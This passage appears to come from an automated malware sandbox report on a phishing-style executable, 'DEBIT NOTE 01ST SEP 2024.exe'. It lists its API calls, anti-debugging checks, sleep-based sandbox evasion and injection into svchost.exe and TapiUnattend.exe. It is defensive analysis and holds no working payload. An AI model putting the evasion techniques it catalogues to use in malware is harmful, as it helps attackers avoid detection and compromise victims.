            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00426D33 push edi; retf 1_2_00426D3C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00418DBC push eax; iretd 1_2_00418DC1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00401E4C push BCBDF130h; retf 1_2_00401EB7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00401E3E push esi; iretd 1_2_00401E49
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00401F00 push BCBDF130h; retf 1_2_00401EB7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004177EE push edi; iretd 1_2_004177FC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004177F3 push edi; iretd 1_2_004177FC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004147F2 pushad ; iretd 1_2_004147FA
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004177FD push edi; iretd 1_2_004177FC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C0225F pushad ; ret 1_2_03C027F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C027FA pushad ; ret 1_2_03C027F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C309AD push ecx; mov dword ptr [esp], ecx1_2_03C309B6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C0283D push eax; iretd 1_2_03C02858
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C01368 push eax; iretd 1_2_03C01369
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C01065 push edi; ret 1_2_03C0108A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C018F3 push edx; iretd 1_2_03C01906
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0047A330 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,0_2_0047A330
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_00434418 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_00434418
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

            Malware Analysis System Evasion

            barindex
            Switches to a custom stack to bypass stack traces
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeAPI/Special instruction interceptor: Address: 433C22C
            Source: C:\Windows\SysWOW64\TapiUnattend.exeAPI/Special instruction interceptor: Address: 7FFE2220D324
            Source: C:\Windows\SysWOW64\TapiUnattend.exeAPI/Special instruction interceptor: Address: 7FFE2220D7E4
            Source: C:\Windows\SysWOW64\TapiUnattend.exeAPI/Special instruction interceptor: Address: 7FFE2220D944
            Source: C:\Windows\SysWOW64\TapiUnattend.exeAPI/Special instruction interceptor: Address: 7FFE2220D504
            Source: C:\Windows\SysWOW64\TapiUnattend.exeAPI/Special instruction interceptor: Address: 7FFE2220D544
            Source: C:\Windows\SysWOW64\TapiUnattend.exeAPI/Special instruction interceptor: Address: 7FFE2220D1E4
            Source: C:\Windows\SysWOW64\TapiUnattend.exeAPI/Special instruction interceptor: Address: 7FFE22210154
            Source: C:\Windows\SysWOW64\TapiUnattend.exeAPI/Special instruction interceptor: Address: 7FFE2220DA44
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C7096E rdtsc 1_2_03C7096E
            Source: C:\Windows\SysWOW64\TapiUnattend.exeWindow / User API: threadDelayed 9776Jump to behavior
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeEvasive API call chain: GetSystemTimeAsFileTime,DecisionNodesgraph_0-85138
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeAPI coverage: 3.4 %
            Source: C:\Windows\SysWOW64\svchost.exeAPI coverage: 0.7 %
            Source: C:\Windows\SysWOW64\TapiUnattend.exeAPI coverage: 2.7 %
            Source: C:\Windows\SysWOW64\TapiUnattend.exe TID: 2484Thread sleep count: 197 > 30Jump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exe TID: 2484Thread sleep time: -394000s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exe TID: 2484Thread sleep count: 9776 > 30Jump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exe TID: 2484Thread sleep time: -19552000s >= -30000sJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe TID: 1360Thread sleep time: -45000s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeLast function: Thread delayed
            Source: C:\Windows\SysWOW64\TapiUnattend.exeLast function: Thread delayed
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_00452492 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00452492
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_00442886 FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00442886
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_004788BD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_004788BD
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_004339B6 GetFileAttributesW,FindFirstFileW,FindClose,0_2_004339B6
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0045CAFA FindFirstFileW,FindNextFileW,FindClose,0_2_0045CAFA
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_00431A86 FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00431A86
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0044BD27 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,0_2_0044BD27
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0045DE8F FindFirstFileW,FindClose,0_2_0045DE8F
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0044BF8B _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_0044BF8B
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 6_2_026AC5F0 FindFirstFileW,FindNextFileW,FindClose,6_2_026AC5F0
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0040E500 GetVersionExW,GetCurrentProcess,GetNativeSystemInfo,FreeLibrary,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,FreeLibrary,0_2_0040E500
            Source: TapiUnattend.exe, 00000006.00000002.3517555982.00000000028D4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll&
            Source: WrtyZOtiIHMYio.exe, 00000007.00000002.3518253152.0000000000809000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll}
            Source: firefox.exe, 00000008.00000002.2390946410.000001C9F462C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
            Source: C:\Windows\SysWOW64\svchost.exeProcess information queried: ProcessInformationJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeProcess queried: DebugPortJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeProcess queried: DebugPortJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C7096E rdtsc 1_2_03C7096E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00417773 LdrLoadDll,1_2_00417773
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0045A370 BlockInput,0_2_0045A370
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0040D590 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,0_2_0040D590
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0040EBD0 LoadLibraryA,GetProcAddress,0_2_0040EBD0
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0433C498 mov eax, dword ptr fs:[00000030h]0_2_0433C498
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0433C4F8 mov eax, dword ptr fs:[00000030h]0_2_0433C4F8
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0433AE98 mov eax, dword ptr fs:[00000030h]0_2_0433AE98
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CEC3CD mov eax, dword ptr fs:[00000030h]1_2_03CEC3CD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]1_2_03C3A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]1_2_03C3A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]1_2_03C3A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]1_2_03C3A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]1_2_03C3A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]1_2_03C3A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C383C0 mov eax, dword ptr fs:[00000030h]1_2_03C383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C383C0 mov eax, dword ptr fs:[00000030h]1_2_03C383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C383C0 mov eax, dword ptr fs:[00000030h]1_2_03C383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C383C0 mov eax, dword ptr fs:[00000030h]1_2_03C383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB63C0 mov eax, dword ptr fs:[00000030h]1_2_03CB63C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CDE3DB mov eax, dword ptr fs:[00000030h]1_2_03CDE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CDE3DB mov eax, dword ptr fs:[00000030h]1_2_03CDE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CDE3DB mov ecx, dword ptr fs:[00000030h]1_2_03CDE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CDE3DB mov eax, dword ptr fs:[00000030h]1_2_03CDE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CD43D4 mov eax, dword ptr fs:[00000030h]1_2_03CD43D4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CD43D4 mov eax, dword ptr fs:[00000030h]1_2_03CD43D4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C403E9 mov eax, dword ptr fs:[00000030h]1_2_03C403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C403E9 mov eax, dword ptr fs:[00000030h]1_2_03C403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C403E9 mov eax, dword ptr fs:[00000030h]1_2_03C403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C403E9 mov eax, dword ptr fs:[00000030h]1_2_03C403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C403E9 mov eax, dword ptr fs:[00000030h]1_2_03C403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C403E9 mov eax, dword ptr fs:[00000030h]1_2_03C403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C403E9 mov eax, dword ptr fs:[00000030h]1_2_03C403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C403E9 mov eax, dword ptr fs:[00000030h]1_2_03C403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C4E3F0 mov eax, dword ptr fs:[00000030h]1_2_03C4E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C4E3F0 mov eax, dword ptr fs:[00000030h]1_2_03C4E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C4E3F0 mov eax, dword ptr fs:[00000030h]1_2_03C4E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C663FF mov eax, dword ptr fs:[00000030h]1_2_03C663FF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C2E388 mov eax, dword ptr fs:[00000030h]1_2_03C2E388
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C2E388 mov eax, dword ptr fs:[00000030h]1_2_03C2E388
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C2E388 mov eax, dword ptr fs:[00000030h]1_2_03C2E388
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C5438F mov eax, dword ptr fs:[00000030h]1_2_03C5438F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C5438F mov eax, dword ptr fs:[00000030h]1_2_03C5438F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C28397 mov eax, dword ptr fs:[00000030h]1_2_03C28397
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C28397 mov eax, dword ptr fs:[00000030h]1_2_03C28397
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C28397 mov eax, dword ptr fs:[00000030h]1_2_03C28397
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB2349 mov eax, dword ptr fs:[00000030h]1_2_03CB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB2349 mov eax, dword ptr fs:[00000030h]1_2_03CB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB2349 mov eax, dword ptr fs:[00000030h]1_2_03CB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB2349 mov eax, dword ptr fs:[00000030h]1_2_03CB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB2349 mov eax, dword ptr fs:[00000030h]1_2_03CB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB2349 mov eax, dword ptr fs:[00000030h]1_2_03CB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB2349 mov eax, dword ptr fs:[00000030h]1_2_03CB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB2349 mov eax, dword ptr fs:[00000030h]1_2_03CB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB2349 mov eax, dword ptr fs:[00000030h]1_2_03CB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB2349 mov eax, dword ptr fs:[00000030h]1_2_03CB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB2349 mov eax, dword ptr fs:[00000030h]1_2_03CB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB2349 mov eax, dword ptr fs:[00000030h]1_2_03CB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB2349 mov eax, dword ptr fs:[00000030h]1_2_03CB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB2349 mov eax, dword ptr fs:[00000030h]1_2_03CB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB2349 mov eax, dword ptr fs:[00000030h]1_2_03CB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB035C mov eax, dword ptr fs:[00000030h]1_2_03CB035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB035C mov eax, dword ptr fs:[00000030h]1_2_03CB035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB035C mov eax, dword ptr fs:[00000030h]1_2_03CB035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB035C mov ecx, dword ptr fs:[00000030h]1_2_03CB035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB035C mov eax, dword ptr fs:[00000030h]1_2_03CB035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB035C mov eax, dword ptr fs:[00000030h]1_2_03CB035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CFA352 mov eax, dword ptr fs:[00000030h]1_2_03CFA352
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CD8350 mov ecx, dword ptr fs:[00000030h]1_2_03CD8350
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03D0634F mov eax, dword ptr fs:[00000030h]1_2_03D0634F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CD437C mov eax, dword ptr fs:[00000030h]1_2_03CD437C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6A30B mov eax, dword ptr fs:[00000030h]1_2_03C6A30B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6A30B mov eax, dword ptr fs:[00000030h]1_2_03C6A30B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6A30B mov eax, dword ptr fs:[00000030h]1_2_03C6A30B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C2C310 mov ecx, dword ptr fs:[00000030h]1_2_03C2C310
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C50310 mov ecx, dword ptr fs:[00000030h]1_2_03C50310
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03D08324 mov eax, dword ptr fs:[00000030h]1_2_03D08324
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03D08324 mov ecx, dword ptr fs:[00000030h]1_2_03D08324
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03D08324 mov eax, dword ptr fs:[00000030h]1_2_03D08324
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03D08324 mov eax, dword ptr fs:[00000030h]1_2_03D08324
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]1_2_03C3A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]1_2_03C3A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]1_2_03C3A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]1_2_03C3A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]1_2_03C3A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03D062D6 mov eax, dword ptr fs:[00000030h]1_2_03D062D6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C402E1 mov eax, dword ptr fs:[00000030h]1_2_03C402E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C402E1 mov eax, dword ptr fs:[00000030h]1_2_03C402E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C402E1 mov eax, dword ptr fs:[00000030h]1_2_03C402E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6E284 mov eax, dword ptr fs:[00000030h]1_2_03C6E284
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6E284 mov eax, dword ptr fs:[00000030h]1_2_03C6E284
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB0283 mov eax, dword ptr fs:[00000030h]1_2_03CB0283
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB0283 mov eax, dword ptr fs:[00000030h]1_2_03CB0283
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB0283 mov eax, dword ptr fs:[00000030h]1_2_03CB0283
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C402A0 mov eax, dword ptr fs:[00000030h]1_2_03C402A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C402A0 mov eax, dword ptr fs:[00000030h]1_2_03C402A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CC62A0 mov eax, dword ptr fs:[00000030h]1_2_03CC62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CC62A0 mov ecx, dword ptr fs:[00000030h]1_2_03CC62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CC62A0 mov eax, dword ptr fs:[00000030h]1_2_03CC62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CC62A0 mov eax, dword ptr fs:[00000030h]1_2_03CC62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CC62A0 mov eax, dword ptr fs:[00000030h]1_2_03CC62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CC62A0 mov eax, dword ptr fs:[00000030h]1_2_03CC62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB8243 mov eax, dword ptr fs:[00000030h]1_2_03CB8243
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB8243 mov ecx, dword ptr fs:[00000030h]1_2_03CB8243
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03D0625D mov eax, dword ptr fs:[00000030h]1_2_03D0625D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C2A250 mov eax, dword ptr fs:[00000030h]1_2_03C2A250
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C36259 mov eax, dword ptr fs:[00000030h]1_2_03C36259
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CEA250 mov eax, dword ptr fs:[00000030h]1_2_03CEA250
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CEA250 mov eax, dword ptr fs:[00000030h]1_2_03CEA250
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C34260 mov eax, dword ptr fs:[00000030h]1_2_03C34260
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C34260 mov eax, dword ptr fs:[00000030h]1_2_03C34260
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C34260 mov eax, dword ptr fs:[00000030h]1_2_03C34260
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C2826B mov eax, dword ptr fs:[00000030h]1_2_03C2826B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CE0274 mov eax, dword ptr fs:[00000030h]1_2_03CE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CE0274 mov eax, dword ptr fs:[00000030h]1_2_03CE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CE0274 mov eax, dword ptr fs:[00000030h]1_2_03CE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CE0274 mov eax, dword ptr fs:[00000030h]1_2_03CE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CE0274 mov eax, dword ptr fs:[00000030h]1_2_03CE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CE0274 mov eax, dword ptr fs:[00000030h]1_2_03CE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CE0274 mov eax, dword ptr fs:[00000030h]1_2_03CE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CE0274 mov eax, dword ptr fs:[00000030h]1_2_03CE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CE0274 mov eax, dword ptr fs:[00000030h]1_2_03CE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CE0274 mov eax, dword ptr fs:[00000030h]1_2_03CE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CE0274 mov eax, dword ptr fs:[00000030h]1_2_03CE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CE0274 mov eax, dword ptr fs:[00000030h]1_2_03CE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C2823B mov eax, dword ptr fs:[00000030h]1_2_03C2823B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CF61C3 mov eax, dword ptr fs:[00000030h]1_2_03CF61C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CF61C3 mov eax, dword ptr fs:[00000030h]1_2_03CF61C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CAE1D0 mov eax, dword ptr fs:[00000030h]1_2_03CAE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CAE1D0 mov eax, dword ptr fs:[00000030h]1_2_03CAE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CAE1D0 mov ecx, dword ptr fs:[00000030h]1_2_03CAE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CAE1D0 mov eax, dword ptr fs:[00000030h]1_2_03CAE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CAE1D0 mov eax, dword ptr fs:[00000030h]1_2_03CAE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03D061E5 mov eax, dword ptr fs:[00000030h]1_2_03D061E5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C601F8 mov eax, dword ptr fs:[00000030h]1_2_03C601F8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C70185 mov eax, dword ptr fs:[00000030h]1_2_03C70185
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CEC188 mov eax, dword ptr fs:[00000030h]1_2_03CEC188
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CEC188 mov eax, dword ptr fs:[00000030h]1_2_03CEC188
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CD4180 mov eax, dword ptr fs:[00000030h]1_2_03CD4180
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CD4180 mov eax, dword ptr fs:[00000030h]1_2_03CD4180
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB019F mov eax, dword ptr fs:[00000030h]1_2_03CB019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB019F mov eax, dword ptr fs:[00000030h]1_2_03CB019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB019F mov eax, dword ptr fs:[00000030h]1_2_03CB019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB019F mov eax, dword ptr fs:[00000030h]1_2_03CB019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C2A197 mov eax, dword ptr fs:[00000030h]1_2_03C2A197
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C2A197 mov eax, dword ptr fs:[00000030h]1_2_03C2A197
